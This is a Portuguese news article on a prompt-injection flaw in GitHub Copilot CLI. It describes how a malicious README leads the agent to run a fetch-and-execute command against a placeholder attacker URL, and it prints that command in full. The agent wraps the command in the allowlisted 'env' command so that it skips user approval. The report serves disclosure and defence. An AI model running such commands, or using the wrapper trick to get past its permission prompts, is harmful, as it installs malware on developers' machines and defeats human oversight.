Alerta de Segurança: GitHub Copilot CLI Pode Baixar e Executar Malware Silenciosamente

A revelação de uma falha crítica no GitHub Copilot CLI acende um novo alerta para a segurança em ambientes de desenvolvimento. Pesquisadores identificaram que a ferramenta pode baixar e executar malware silenciosamente, explorando uma brecha na validação de comandos. O ataque se baseia em técnicas de prompt injection, onde um arquivo README malicioso pode induzir o Copilot a rodar um comando específico: env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh. A chave está no comando env, que integra a lista de permissões do Copilot, automaticamente aprovado. Dessa forma, curl e sh são interpretados como argumentos de env, contornando as validações de URL e de comando que deveriam exigir aprovação do usuário. O resultado é a execução de código malicioso com interação zero por parte do desenvolvedor após a consulta inicial ao Copilot. Os pesquisadores reportaram a falha em 25 de fevereiro de 2026. O GitHub, ao ser notificado, classificou-a como um problema conhecido e de risco não significativo, recusando a recompensa por bug, o que levanta preocupações sobre a percepção de risco da plataforma.

A cobertura anterior do CEVIU News já apontava para vulnerabilidades sérias em agentes de IA do GitHub. Em julho de 2026, noticiamos como o GitHub Copilot podia esconder a geração de código nocivo e como agentes de IA do GitHub expunham repositórios privados via prompt injection indireto, como na falha GitLost. Agora, com a chegada do GitHub Copilot CLI em disponibilidade geral, a evolução da ameaça é clara: a mesma lógica de prompt injection se manifesta em uma nova superfície de ataque, especificamente na interface de linha de comando. A novidade é que o vetor de ataque via env explora a lista de comandos 'read-only', um mecanismo que deveria simplificar o uso, mas que agora se mostra como um elo fraco para a execução silenciosa de malware. Enquanto antes o foco era a exfiltração de dados e a geração de código, a vulnerabilidade atual abre caminho para ataques de supply chain mais diretos, com download e execução de binários maliciosos sem qualquer prompt de segurança, algo que não havia sido explicitado em ataques anteriores.

Essa falha é crucial porque atinge o coração da produtividade dos desenvolvedores: a linha de comando e ferramentas assistidas por IA. A capacidade de um atacante injetar comandos maliciosos em um simples arquivo README e fazer com que uma ferramenta como o Copilot CLI os execute silenciosamente representa um risco de supply chain gigante. Empresas que dependem de repositórios de código aberto ou que permitem que seus desenvolvedores usem ferramentas de IA correm o risco de infecções generalizadas. A postura do GitHub em considerar a falha como 'risco não significativo' é preocupante. Ela sinaliza uma possível subestimação do impacto, especialmente em um contexto onde agentes de IA se tornam cada vez mais centrais nos fluxos de trabalho. A proteção de dados e a integridade de sistemas corporativos estão em jogo, exigindo uma reavaliação das políticas de segurança em torno do uso de ferramentas de IA na cadeia de desenvolvimento de software.